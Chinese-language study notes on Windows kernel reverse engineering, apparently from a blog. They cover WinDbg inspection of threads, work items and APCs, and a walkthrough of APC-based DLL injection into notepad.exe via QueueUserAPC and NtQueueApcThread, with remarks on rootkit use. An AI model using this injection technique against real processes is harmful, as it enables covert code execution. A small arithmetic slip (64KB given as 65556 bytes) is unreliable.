        ffff808d`e09d6e60 fffff807`4e63c77d nt!KiSwapContext+0x76
        ffff808d`e09d6fa0 fffff807`4e63b604 nt!KiSwapThread+0xbfd
        ffff808d`e09d7040 fffff807`4e63f4be nt!KiCommitThreadWait+0x144
        ffff808d`e09d70e0 fffff807`4e63efb9 nt!KeRemoveQueueEx+0x27e
        ffff808d`e09d7190 fffff807`4e63ec8e nt!IoRemoveIoCompletion+0x99
        ffff808d`e09d72b0 fffff807`4e7d2915 nt!NtWaitForWorkViaWorkerFactory+0x25e
        ffff808d`e09d7450 00007ff9`7909fa64 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`e09d74c0)
        0000006d`28bff918 00007ff9`79034060 0x00007ff9`7909fa64
        0000006d`28bff920 0000006d`00000003 0x00007ff9`79034060
        0000006d`28bff928 0000006d`2896e000 0x0000006d`00000003
        0000006d`28bff930 0000016e`7600a150 0x0000006d`2896e000
        0000006d`28bff938 00000000`00000000 0x0000016e`7600a150

我傻了，可以不用这么麻烦的，直接用!thread addr可以直接看到该线程所属的进程

这个问题后面还有一个问题，就是将第四个参数（ProcessHandle）设置为非Non-NULL的再测试一下，我设置成了当前进程的句柄，结果显示创建出来的线程是运行在用户进程下的，对驱动程序代码做了如下修改

HANDLE process_id = PsGetCurrentProcessId();
// retrive process handle
HANDLE process = NULL;
OBJECT_ATTRIBUTES obj_attr;
CLIENT_ID cid;
cid.UniqueProcess = process_id; //PsGetCurrentProcessId();
cid.UniqueThread = NULL; //(HANDLE)0;
InitializeObjectAttributes(&obj_attr, NULL, 0, NULL, NULL);
ZwOpenProcess(&process, PROCESS_ALL_ACCESS, &obj_attr, &cid);
HANDLE thread_handle;
NTSTATUS ret = PsCreateSystemThread(&thread_handle, GENERIC_ALL, NULL, process, NULL, thread_routine, NULL);

5: kd> dq /c 1 (rsp+128h) L1
DBGHELP: SharedUserData - virtual symbol module
ffff808d`e25871b8  ffffffff`8000477c
5: kd> !handle ffffffff`8000477c

PROCESS ffff8a0722f240c0
    SessionId: 2  Cid: 2d5c    Peb: c4ee341000  ParentCid: 1e94
    DirBase: 1b7ff7000  ObjectTable: ffffa2829aacfd80  HandleCount:  65.
    Image: ioctlapp.exe

Kernel handle table at ffffa28294c05ac0 with 4835 entries in use

8000477c: Object: ffff8a0721bd4080  GrantedAccess: 001fffff (Protected) (Audit) Entry: ffffa2829d4fbdf0
Object: ffff8a0721bd4080  Type: (ffff8a0715aa24e0) Thread
    ObjectHeader: ffff8a0721bd4050 (new version)
        HandleCount: 1  PointerCount: 2
5: kd> !thread ffff8a0721bd4080
THREAD ffff8a0721bd4080  Cid 2d5c.27c8  Teb: 0000000000000000 Win32Thread: 0000000000000000 TERMINATED
Not impersonating
DeviceMap                 ffffa2829bdb1e90
Owning Process            ffff8a0722f240c0       Image:         ioctlapp.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      0              Ticks: 78372 (0:00:20:24.562)
Context Switch Count      1              IdealProcessor: 5             
UserTime                  00:00:00.000
KernelTime                00:00:00.000
Win32 Start Address SIoctl!thread_routine (0xfffff80754a610e0)
Stack Init ffff808de123f650 Current ffff808de123f5e0
Base ffff808de1240000 Limit ffff808de1239000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr           : Args to Child                                                           : Call Site
ffff808d`e123f620 00000000`00000000 : ffff808d`e1240000 ffff808d`e1239000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x2a

可以看到是在用户进程下的

Work Items

workitems是等待被线程处理的任务队列，本质上是一个链表

kd> dt nt!_IO_WORKITEM
   +0x000 WorkItem         : _WORK_QUEUE_ITEM
   +0x020 Routine          : Ptr64     void 
   +0x028 IoObject         : Ptr64 Void
   +0x030 Context          : Ptr64 Void
   +0x038 Type             : Uint4B
   +0x03c ActivityId       : _GUID
kd> dt nt!_WORK_QUEUE_ITEM
   +0x000 List             : _LIST_ENTRY
   +0x010 WorkerRoutine    : Ptr64     void 
   +0x018 Parameter        : Ptr64 Void

在初始化之后会被插入到由KPRCB中的ParentNode指针指向的一个队列中

kd> dt nt!_KPRCB
+0x5338 ParentNode       : Ptr64 _KNODE

这个KNODE和ENODE的关系跟ETHREAD和KTHREAD是一样的，因为KNODE是ENODE的第一个成员，所以两者的地址也是一样的

kd>  dt nt!_ENODE
   +0x000 Ncb              : _KNODE
   +0x0c0 ExWorkerQueues   : [7] _EX_WORK_QUEUE
   +0x2f0 ExpThreadSetManagerEvent : _KEVENT
   +0x308 ExpWorkerThreadBalanceManagerPtr : Ptr64 _ETHREAD
   +0x310 ExpWorkerSeed    : Uint4B
   +0x314 ExWorkerFullInit : Pos 0, 1 Bit
   +0x314 ExWorkerStructInit : Pos 1, 1 Bit
   +0x314 ExWorkerFlags    : Uint4B
kd> dt nt!_KNODE
   +0x000 DeepIdleSet      : Uint8B
   +0x040 ProximityId      : Uint4B
   +0x044 NodeNumber       : Uint2B

ExWorkerQueues就是workitem将要被插入的队列

kd>  dt nt!_EX_WORK_QUEUE
   +0x000 WorkerQueue      : _KQUEUE
   +0x040 WorkItemsProcessed : Uint4B
   +0x044 WorkItemsProcessedLastPass : Uint4B
   +0x048 ThreadCount      : Int4B
   +0x04c TryFailed        : UChar

函数ExQueueWorkItemEx负责将workitem插入队列，ExpWorkerThread函数负责从队列中取出workitem

稍微看一下ExQueueWorkItemEx的汇编代码

kd>  uf nt!ExQueueWorkItemEx
...
fffff802`35bfefc3 65488b042520000000 mov   rax,qword ptr gs:[20h]
fffff802`35bfefcc 4c8b8038530000  mov     r8,qword ptr [rax+5338h]
fffff802`35bfefd3 410fb74044      movzx   eax,word ptr [r8+44h]     ; eax就是KNODE的NodeNumber字段，再往后的代码我也看不太懂了，不管了，先做题
fffff802`35bfefd8 8bc8            mov     ecx,eax
fffff802`35bfefda 488d0440        lea     rax,[rax+rax*2]
fffff802`35bfefde 48c1e006        shl     rax,6
fffff802`35bfefe2 4803c5          add     rax,rbp
fffff802`35bfefe5 493904ce        cmp     qword ptr [r14+rcx*8],rax
fffff802`35bfefe9 0f84010ce6ff    je      nt!ExQueueWorkItemEx+0xe0 (fffff802`35a5fbf0)  Branch
...

由于ExpWorkerThread运行在System下，所以workitem也是在System下被执行的，IRQL位PASSIVE_LEVEL

题目是：

如何确定ExpWorkerThread是负责从队列中取出并执行workeritem的函数，该函数没有文档

提示：编写驱动

驱动项目地址

关键代码

PIO_WORKITEM work_item= IoAllocateWorkItem(DeviceObject);
IoQueueWorkItem(work_item, &WorkItem, CriticalWorkQueue, NULL);

这里的WorkItem是将要被线程执行的例程

VOID WorkItem(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_opt_ PVOID Context
)
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Context);
    TestFunction();
}

只要在TestFunction下断点，然后在TestFunction第二次被触发的时候查看调用栈即可找到处理WorkItem的是哪个函数

他后面还有一个问题，就是怎么知道ExpWorkerThread是运行在System下的，这个问题也很好解答，对WorkItem例程稍作修改即可

VOID WorkItem(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_opt_ PVOID Context
)
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Context);
    TestFunction();
    PKTHREAD  Self = KeGetCurrentThread();
    KeSetPriorityThread(Self, LOW_REALTIME_PRIORITY);
}

还是在TestFunction方法下断点，在第二次触发的时候，观察KeGetCurrentThread函数调用之后rax的值，此时rax作为该函数的返回值就是KTHREAD结构体的地址

接着做题，下一题是让跟一下几个函数的汇编代码，解释一下他们是怎么工作的，这里我就只做第一个，IoAllocateWorkItem函，题解

Asynchronous Procedure Call -- APC

字面意思就是异步过程调用

APC用于实现很多重要的操作，例如异步IO，线程挂起以及进程终止等操作

这个东西几乎是没有文档的，官方的驱动的开发手册只稍微提了一嘴，并没有提供更详细的东西

不过对于日常的逆向工作，并不用了解太多APC的底层细节

这节将会介绍APC是啥玩意及用法

APC基础

通俗来讲，ACP就是一个运行在特定线程context下的函数

可以被分成用户模式和内核模式，内核模式下的APC又可以被分为normal和special

normal：运行在PASSIVE_LEVEL下
special：运行在APC_LEVEL下

由于APC是运行在线程中的，所以总是会和一个ETHREAD关联

APC的定义如下：

kd> dt nt!_KAPC
   +0x000 Type             : UChar
   +0x001 SpareByte0       : UChar
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr64 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY
   +0x020 KernelRoutine    : Ptr64     void 
   +0x028 RundownRoutine   : Ptr64     void 
   +0x030 NormalRoutine    : Ptr64     void 
   +0x020 Reserved         : [3] Ptr64 Void
   +0x038 NormalContext    : Ptr64 Void
   +0x040 SystemArgument1  : Ptr64 Void
   +0x048 SystemArgument2  : Ptr64 Void
   +0x050 ApcStateIndex    : Char
   +0x051 ApcMode          : Char
   +0x052 Inserted         : UChar

该结构体由KeInitializeApc进行初始化

NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);

NTKERNELAPI BOOLEAN KeInsertQueueApc(
    PRKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
);

Callback prototypes

typedef VOID (*PKKERNEL_ROUTINE)(
    PKAPC Apc,
    PKNORMAL_ROUTINE *NormalRoutine,
    PVOID *NormalContext,
    PVOID *SystemArgument1,
    PVOID *SystemArgument2
);
typedef VOID (*PKRUNDOWN_ROUTINE)(
    PKAPC Apc
);

typedef VOID (*PKNORMAL_ROUTINE)(
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
);

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;

上面的这些定义是没有文档的，书中给出来的是从别的论坛中搞的，不保熟

NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);

参数说明：

Apc：由调用者分配的一块buffer，从non-paged pool中分配（ExAllocatePool）
Thread，该apc所关联的线程
Environment：apc的执行环境，例如：OriginalApcEnvironment意味着apc将会运行在线程的进程context中（什么玩意儿，完全看不懂在说啥）
KenerlRoutine：在APC_LEVEL下以内核模式执行的函数
RundownRoutine：线程终止的时候，该例程将会被执行
NormalRoutine：在PASSIVE_LEVEL下以ProcessorMode执行的函数

在KTHREAD的ApcState成员中有一个ListEntry

kd> dt nt!_KTHREAD
   ...
   +0x098 ApcState         : _KAPC_STATE
   ...
kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 KernelApcInProgress : UChar
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPending   : UChar

ApcState中存储了两个队列，一个用于内核模式，另一个用于用户模式

这个在后面的调试过程中是可以观察到的：

fffffa801a332b00为插入APC的线程地址

首先使用windbg的!apc命令得到内核模式和用户模式两个队列（链表）的地址，可以看到分别为fffffa801a332b98和fffffa801a332ba8

kd> !apc thre fffffa801a332b00
Thread fffffa801a332b00 ApcStateIndex 0 ApcListHead fffffa801a332b98 [KERNEL]
Thread fffffa801a332b00 ApcStateIndex 0 ApcListHead fffffa801a332ba8 [USER]
    KAPC @ fffffa801a332090
      Type           12
      KernelRoutine  fffff8007a1d4f48 nt!AlpcpFreeBuffer+0
      RundownRoutine fffff8007a07bc50 nt!ExFreePool+0

下面通过解析结构体来进行验证

dt nt!_KTHREAD fffffa801a332b00

获取到ApcState成员的地址0xfffffa801a332b98

kd> dt nt!_KAPC_STATE 0xfffffa801a332b98
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x020 Process          : 0xfffffa80`1ad56080 _KPROCESS
   +0x028 KernelApcInProgress : 0 ''
   +0x029 KernelApcPending : 0 ''
   +0x02a UserApcPending   : 0 ''

再查看ApcListHead，注意看上面的输出，第二个成员Process的偏移量为0x20，说明ApcListHead长度为0x20，即32bytes，而一个ListEntry结构体只有16字节（Flink+Blink），因此ApcListHead包含两个ListEntry，这一点从上面输出中的[2]也可以体现出来

kd> dt nt!_LIST_ENTRY 0xfffffa80`1a332b98
 [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x000 Flink            : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x008 Blink            : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]

kd> dt nt!_LIST_ENTRY (0xfffffa80`1a332b98+0x10)
 [ 0xfffffa80`1a3320a0 - 0xfffffa80`1a3320a0 ]
   +0x000 Flink            : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]
   +0x008 Blink            : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]

这两个链表，前者存储内核模式的APC，后者存储用户模式的APC，这里通过Flink获取到用户模式的APC，即KAPC结构体中ListEntry成员的地址0xfffffa801a3320a0，减去其在KAPC中的偏移量0x10即可得到APC的真正地址fffffa801a332090

使用APC实现线程挂起操作

当一个程序想挂起一个线程的时候，内核会把一个APC弄到这个线程里面，准确来说是KTHREAD的SchedulerApc成员

使用KeInitThread函数进行初始化，然后使用KiSchedulerApc函数占用SuspendEvent事件，当程序想恢复这个线程的时候，使用KeResumeThread释放这个事件就行了

如果你不是在逆向Windows内核或者写内核模式下的RootKit，那么应该是碰不到使用APC的代码的

主要是因为这个东西他没有文档，因此很少在商业驱动中使用

但是在RootKit中，APC使用的相当频繁，因为可以使用APC从内核模式将代码注入到用户模式

RootKit的做法是将一个用户模式的APC加入到他们想要注入的进程的线程的队列中

这本书真尼玛离谱，啥都没讲，上来就让我写驱动使用APC

我在网上找到了这篇文章，先来读一下看看

这篇文章中给了一个项目地址，里面有很多APC的用法，相关的代码注释我放到了这里，下面是对其中一些用法的笔记

QueueUserAPC

这个项目中有三个APC选项，这里先来搞一下win32，就是使用微软文档中公开的方法进行APC的插入操作

大概的流程就是在目标进程的虚拟地址空间中开辟出一块内存写入要加载的dll的路径，然后获取到目标进程的一个线程句柄，最后通过QueueUserAPC将一个方法插入到该线程的APC队列中

if (!QueueUserAPC((PAPCFUNC) LoadLibraryAPtr, ThreadHandle, (ULONG_PTR) RemoteLibraryAddress)

LoadLibraryAPtr是要插入的方法，ThreadHandle是APC要插入到的线程，RemoteLibraryAddress是方法的参数

这里选择将7z.dll注入到notepad.exe进程中

为了调试方便，我在代码中加入了一个判断文件是否存在的代码，通过在debuggee中创建指定文件来触发断点

ApcDllInjector.exe执行后会阻塞，循环检测该文件是否存在，这时候启动windbg加载ApcDllInjector.pdb并切换到ApcDllInjector.exe进程空间

在QueueUserAPC函数调用完成后，查看notepad.exe进程

获取到线程地址后，使用!apc查看该线程中的APC

可以清楚地看到这里显示了两个ApcListHead，一个是KERNEL，一个是USER

其实!apc已经给出了KAPC结构体的地址，但是通过ApcListHead的地址，也可以找到KAPC的地址

根据之前了解到的通过ListEntry定位结构体地址的方法，即可计算出KAPC的地址为0xfffffa801bc89720-0x10

可以看到Thread地址是正确的，说明地址计算无误

KAPC结构体中的NormalContext就是使用QueueUserAPC插入的方法，即LoadLibraryA函数

需要切换到目标进程（notepad.exe）来查看该字段

kd> !process 0 0 notepad.exe
PROCESS fffffa801a19b080
    SessionId: 1  Cid: 0424    Peb: 7f62186b000  ParentCid: 0ef8
    DirBase: 1b10b000  ObjectTable: fffff8a0018e15c0  HandleCount: <Data Not Accessible>
    Image: notepad.exe

kd> .process /i /p /r fffffa801a19b080  
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff800`79e81930 cc              int     3
kd> u 0x000007fb`988928ac L 20
000007fb`988928ac 48895c2408      mov     qword ptr [rsp+8],rbx
000007fb`988928b1 4889742410      mov     qword ptr [rsp+10h],rsi
000007fb`988928b6 57              push    rdi
000007fb`988928b7 4883ec20        sub     rsp,20h
000007fb`988928bb 488bf9          mov     rdi,rcx
000007fb`988928be 4885c9          test    rcx,rcx
000007fb`988928c1 7415            je      000007fb`988928d8
000007fb`988928c3 488d1556ed0100  lea     rdx,[000007fb`988b1620]
000007fb`988928ca ff15e8ac1100    call    qword ptr [000007fb`989ad5b8]
000007fb`988928d0 85c0            test    eax,eax
000007fb`988928d2 0f84979a0800    je      000007fb`9891c36f
000007fb`988928d8 4533c0          xor     r8d,r8d
000007fb`988928db 33d2            xor     edx,edx
000007fb`988928dd 488bcf          mov     rcx,rdi
000007fb`988928e0 ff153abf1100    call    qword ptr [000007fb`989ae820]
000007fb`988928e6 488b5c2430      mov     rbx,qword ptr [rsp+30h]
000007fb`988928eb 488b742438      mov     rsi,qword ptr [rsp+38h]
000007fb`988928f0 4883c420        add     rsp,20h
000007fb`988928f4 5f              pop     rdi
000007fb`988928f5 c3              ret
000007fb`988928f6 90              nop
000007fb`988928f7 90              nop
000007fb`988928f8 90              nop
000007fb`988928f9 90              nop
000007fb`988928fa 90              nop
000007fb`988928fb 90              nop
000007fb`988928fc 4883ec28        sub     rsp,28h
000007fb`98892900 ff156aac1100    call    qword ptr [000007fb`989ad570]
000007fb`98892906 3d0d0000c0      cmp     eax,0C000000Dh
000007fb`9889290b 0f84545c0400    je      000007fb`988d8565
000007fb`98892911 3d590000c0      cmp     eax,0C0000059h
000007fb`98892916 740a            je      000007fb`98892922

使用IDA查看kernel32.dll中的LoadLibraryA函数的汇编代码

kd> db /c 1 000007fb`988b1620 L10
000007fb`988b1620  74  t
000007fb`988b1621  77  w
000007fb`988b1622  61  a
000007fb`988b1623  69  i
000007fb`988b1624  6e  n
000007fb`988b1625  5f  _
000007fb`988b1626  33  3
000007fb`988b1627  32  2
000007fb`988b1628  2e  .
000007fb`988b1629  64  d
000007fb`988b162a  6c  l
000007fb`988b162b  6c  l
000007fb`988b162c  00  .
000007fb`988b162d  90  .
000007fb`988b162e  90  .
000007fb`988b162f  90  .

可以确定0x000007fb988928ac就是LoadLibraryA函数，插入成功

后面的SystemArguments1字段是QueueUserAPC的第三个参数，即传给LoadLibraryA函数的参数

kd> db /c 1 0x00000013`39f00000 L20
00000013`39f00000  43  C
00000013`39f00001  3a  :
00000013`39f00002  5c  \
00000013`39f00003  50  P
00000013`39f00004  72  r
00000013`39f00005  6f  o
00000013`39f00006  67  g
00000013`39f00007  72  r
00000013`39f00008  61  a
00000013`39f00009  6d  m
00000013`39f0000a  20   
00000013`39f0000b  46  F
00000013`39f0000c  69  i
00000013`39f0000d  6c  l
00000013`39f0000e  65  e
00000013`39f0000f  73  s
00000013`39f00010  5c  \
00000013`39f00011  37  7
00000013`39f00012  2d  -
00000013`39f00013  5a  Z
00000013`39f00014  69  i
00000013`39f00015  70  p
00000013`39f00016  5c  \
00000013`39f00017  37  7
00000013`39f00018  7a  z
00000013`39f00019  2e  .
00000013`39f0001a  64  d
00000013`39f0001b  6c  l
00000013`39f0001c  6c  l
00000013`39f0001d  00  .
00000013`39f0001e  00  .
00000013`39f0001f  00  .

没毛病

NtQueueApcThread

这个函数会被上面的QueueUserAPC函数调用，调用栈如下：

0033:000007f7`b2131378 ff159a1c0100    call    qword ptr [ApcDllInjector!_imp_QueueUserAPC (000007f7`b2143018)]
0033:000007f9`4bd63650 48ff2599a91100  jmp     qword ptr [KERNEL32!_imp_QueueUserAPC (000007f9`4be7dff0)]
0033:000007f9`497ffa88 ff1522950b00    call    qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007f9`498b8fb0)]
ntdll!NtQueueApcThread:
0033:000007f9`4c572ff0 4c8bd1          mov     r10,rcx

注意上面的call和jmp指令后面的是取地址，当时看的时候人傻了，以为是直接跳到这个地址上，闹笑话了

这是一个没有文档的函数，俗称Native API

网上的代码好像是有点问题，这个函数ntdll!NtQueueApcThread的参数具体要怎么传，需要跟一下QueueUserAPC函数

下面的代码是KERNELBASE!QueueUserAPC函数的汇编代码

0033:000007fc`52b6fa04 4c8bdc          mov     r11,rsp
0033:000007fc`52b6fa07 49895b08        mov     qword ptr [r11+8],rbx
0033:000007fc`52b6fa0b 49896b10        mov     qword ptr [r11+10h],rbp
0033:000007fc`52b6fa0f 49897318        mov     qword ptr [r11+18h],rsi
0033:000007fc`52b6fa13 57              push    rdi
0033:000007fc`52b6fa14 4883ec50        sub     rsp,50h
0033:000007fc`52b6fa18 498363e800      and     qword ptr [r11-18h],0
0033:000007fc`52b6fa1d 33c0            xor     eax,eax
0033:000007fc`52b6fa1f 41b901000000    mov     r9d,1
0033:000007fc`52b6fa25 492143d8        and     qword ptr [r11-28h],rax
0033:000007fc`52b6fa29 498943f0        mov     qword ptr [r11-10h],rax
0033:000007fc`52b6fa2d 498d43e8        lea     rax,[r11-18h]
0033:000007fc`52b6fa31 498bf8          mov     rdi,r8
0033:000007fc`52b6fa34 488bf2          mov     rsi,rdx
0033:000007fc`52b6fa37 488be9          mov     rbp,rcx
0033:000007fc`52b6fa3a 49c743d010000000 mov     qword ptr [r11-30h],10h
0033:000007fc`52b6fa42 4533c0          xor     r8d,r8d
0033:000007fc`52b6fa45 33d2            xor     edx,edx
0033:000007fc`52b6fa47 418bc9          mov     ecx,r9d
0033:000007fc`52b6fa4a 498943c8        mov     qword ptr [r11-38h],rax
0033:000007fc`52b6fa4e ff15d48a0b00    call    qword ptr [KERNELBASE!_imp_RtlQueryInformationActivationContext (000007fc`52c28528)]
0033:000007fc`52b6fa54 8bd8            mov     ebx,eax
0033:000007fc`52b6fa56 85c0            test    eax,eax
0033:000007fc`52b6fa58 0f88ae0c0900    js      KERNELBASE!QueueUserAPC+0x90d08 (000007fc`52c0070c)
0033:000007fc`52b6fa5e 488b442440      mov     rax,qword ptr [rsp+40h]
0033:000007fc`52b6fa63 f644244801      test    byte ptr [rsp+48h],1
0033:000007fc`52b6fa68 488b1549950b00  mov     rdx,qword ptr [KERNELBASE!_imp_RtlDispatchAPC (000007fc`52c28fb8)]
0033:000007fc`52b6fa6f 48c7c1ffffffff  mov     rcx,0FFFFFFFFFFFFFFFFh
0033:000007fc`52b6fa76 4c8bcf          mov     r9,rdi
0033:000007fc`52b6fa79 4c8bc5          mov     r8,rbp
0033:000007fc`52b6fa7c 480f45c1        cmovne  rax,rcx
0033:000007fc`52b6fa80 488bce          mov     rcx,rsi
0033:000007fc`52b6fa83 4889442420      mov     qword ptr [rsp+20h],rax
0033:000007fc`52b6fa88 ff1522950b00    call    qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007fc`52c28fb0)]
0033:000007fc`52b6fa8e 85c0            test    eax,eax
0033:000007fc`52b6fa90 0f88e4e10200    js      KERNELBASE!QueueUserAPC+0xa8 (000007fc`52b9dc7a)
0033:000007fc`52b6fa96 b801000000      mov     eax,1
0033:000007fc`52b6fa9b 488b5c2460      mov     rbx,qword ptr [rsp+60h]
0033:000007fc`52b6faa0 488b6c2468      mov     rbp,qword ptr [rsp+68h]
0033:000007fc`52b6faa5 488b742470      mov     rsi,qword ptr [rsp+70h]
0033:000007fc`52b6faaa 4883c450        add     rsp,50h
0033:000007fc`52b6faae 5f              pop     rdi
0033:000007fc`52b6faaf c3              ret

而这个函数其实就是ntdll!NtQueueApcThread，通过查看KERNELBASE!_imp_NtQueueApcThread地址KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)中的内容可以看到

kd> dq /c 1 000007fc`52c28fb0 L1
000007fc`52c28fb0  000007fc`557d2ff0
kd> u 000007fc`557d2ff0
ntdll!NtQueueApcThread:
000007fc`557d2ff0 4c8bd1          mov     r10,rcx
000007fc`557d2ff3 b843000000      mov     eax,43h
000007fc`557d2ff8 0f05            syscall
000007fc`557d2ffa c3              ret
000007fc`557d2ffb 0f1f440000      nop     dword ptr [rax+rax]
ntdll!NtYieldExecution:
000007fc`557d3000 4c8bd1          mov     r10,rcx
000007fc`557d3003 b844000000      mov     eax,44h
000007fc`557d3008 0f05            syscall

因此QueueUserAPC函数就是对ntdll!NtQueueApcThread的封装

观察指令call qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)]之前的汇编代码，可以发现RCX、RDX、R8、R9都用于给NtQueueApcThread传输参数了

另外通过下面的方式测试出[rsp+20h]用于传输第五个参数

上面传输的5个参数中

rcx为QueueUserAPC函数的第二个参数ThreadHandle
rdx为KERNELBASE!_imp_RtlDispatchAPC地址中的内容，其实就是ntdll!RtlDispatchAPC函数的地址
r8为QueueUserAPC函数的第一个参数PAPCFUNC函数地址
r9为QueueUserAPC函数的第三个参数，即传递给PAPCFUNC函数的参数
[rsp+20h]通过栈传递的参数，即rax，是一个指针，下面经过分析之后，发现该指针也是传递给PAPCFUNC函数的参数

在后续的测试过程中，我发现我无法直接使用GetProcAddress从ntdll.dll中获取到RtlDispatchAPC函数的地址，而且使用PE-bear查看ntdll.dll发现其并没有导出RtlDispatchAPC函数

经过我的反复测试，在我的测试机上，该函数相对于ntdll.dll基地址的偏移量为0x65E04

dll的基地址很容易得到，直接把handle强转为指针即可

测试机版本：

关键代码如下：

ULONG_PTR addr_RtlDispatchAPC;
// 获取ntdll!RtlDispatchAPC函数的地址，用于作为NtQueueApcThread的第二个参数
// 由于该函数并非导出函数，因此不能直接使用GetProcAddress，只能通过偏移量进行计算
// 这个偏移量只针对win8 6.2 9200 x64版本
addr_RtlDispatchAPC = (ULONG_PTR)(void*)NtdllHandle + 0x65E04;
printf("this is the address of ntdll!RtlDispatchAPC: \t%p\n", (void*)addr_RtlDispatchAPC);

Status = NtQueueApcThread(
                    ThreadHandle,
                    (void*)addr_RtlDispatchAPC,
                    (PPS_APC_ROUTINE)LoadLibraryAPtr,
                    RemoteLibraryAddress,
                    stack_param_tester);

检测APC插入是否成功的方式和上面一样，结果显示，APC插入成功，并且成功传递了两个参数

Practical Reverse Engineering notes -- Part I

2022-07-29T00:00:00+02:00

Part I

目录可能会稍微有点乱，不要介意，凑合看吧

约定

不知道该怎么翻译的，我一律直接用英文原文，只可意会不可言传，自己去悟吧

内核调试配置

windbg启动命令

windbg32 –k net:port=50000,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p


windbg64 –k net:port=50100,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p

书中使用到的所有恶意样本

密码是infected

第三章

我他妈直接从第三章开始读

在读这本书的时候我一共用到了三个镜像

windows 1903 x64

windows 8.1 RTM x64

windows 8.1 RTM x86

关于windows 1903 x64的下载，我使用的是rufus的下载功能，如下图所示

在书中，作者说，如果把逆向windows驱动的任务分成两部分，那么有90%的任务是理解Windows是怎么工作的，只有10%是阅读汇编代码

这一章的主要内容就是讲解Windows内核，而且是针对逆向的内核讲解

最后以对rootkit的逆向作为这一章知识点的总结

Windows基础

先讨论Windows内核的核心概念，以及与其关联的基础数据结构和与驱动编程相关的内核对象以及逆向

内存布局

和许多操作系统的做法一样，Windows将虚拟内存分为了两部分：内核和用户空间

在32位操作系统中，用户空间为

0~0x7fffffff

即2GB

内核空间为

0x80000000~0xFFFFFFFF

也是2GB

因为32位操作系统的寻址范围就是4个GB

在64位操作系统中，概念是一样的，只不过略有不同

用户空间的范围是

0~0x000007ff`ffffffff

8TB

内核的内存空间是

 0xffff0800`00000000~0xffffffff`ffffffff

248TB

当一个进程中的线程获得CPU时间片得以运行的时候，操作系统会从一个寄存器中获得属于该进程的page directory base地址，这使得虚拟地址的映射只针对当前进程而不是其他的进程

这也是为什么存在于操作系统中的多个进程都会以为自己拥有整个用户空间的内存而互不影响

存储page directory base的寄存器是CR3

对于32位操作系统，在boot options中设置/3GB选项可以使得用户空间增长为3GB，内核空间缩小为1GB

用户和内核空间地址范围存储在两个变量中

用户空间
MmHighestUserAddress
内核空间
MmSystemRangeStart

下面是32位操作系统中这两个变量的值

kd> ddp nt!MmHighestUserAddress L1
8102c46c  7ffeffff
kd> ddp nt!MmSystemRangeStart L1
8102c470  80000000

可以看到完全符合上图中的地址范围

下面是64位的

kd> dqp nt!MmHighestUserAddress L1
fffff801`c07cd040  000007ff`fffeffff
kd> dqp nt!MmSystemRangeStart L1
fffff801`c07cd168  ffff0800`00000000

注意32和64位的用户和内核空间中间都隔了64KB（0x10000bytes->65556bytes）

这个主要是为了避免意外的越界，这64KB的空间通常被称作no-access region

根据Canonical Address的定义，64位的内核空间的起始地址并不符合要求

0xffff080000000000的二进制形式为

11111111 11111111 00001000 00000000 00000000 00000000 00000000 00000000

bits48-63为1，但是bits47为0

因此这个地址并不是内核空间真正的起始地址，真正的起始地址是0xffff800000000000

处理器的初始化

系统启动的时候会对每一个处理器进行初始化，处理器初始化的细节对与日常逆向工作来讲并不是很重要，但是了解一些核心结构体还是很重要的

PCR——processor control region

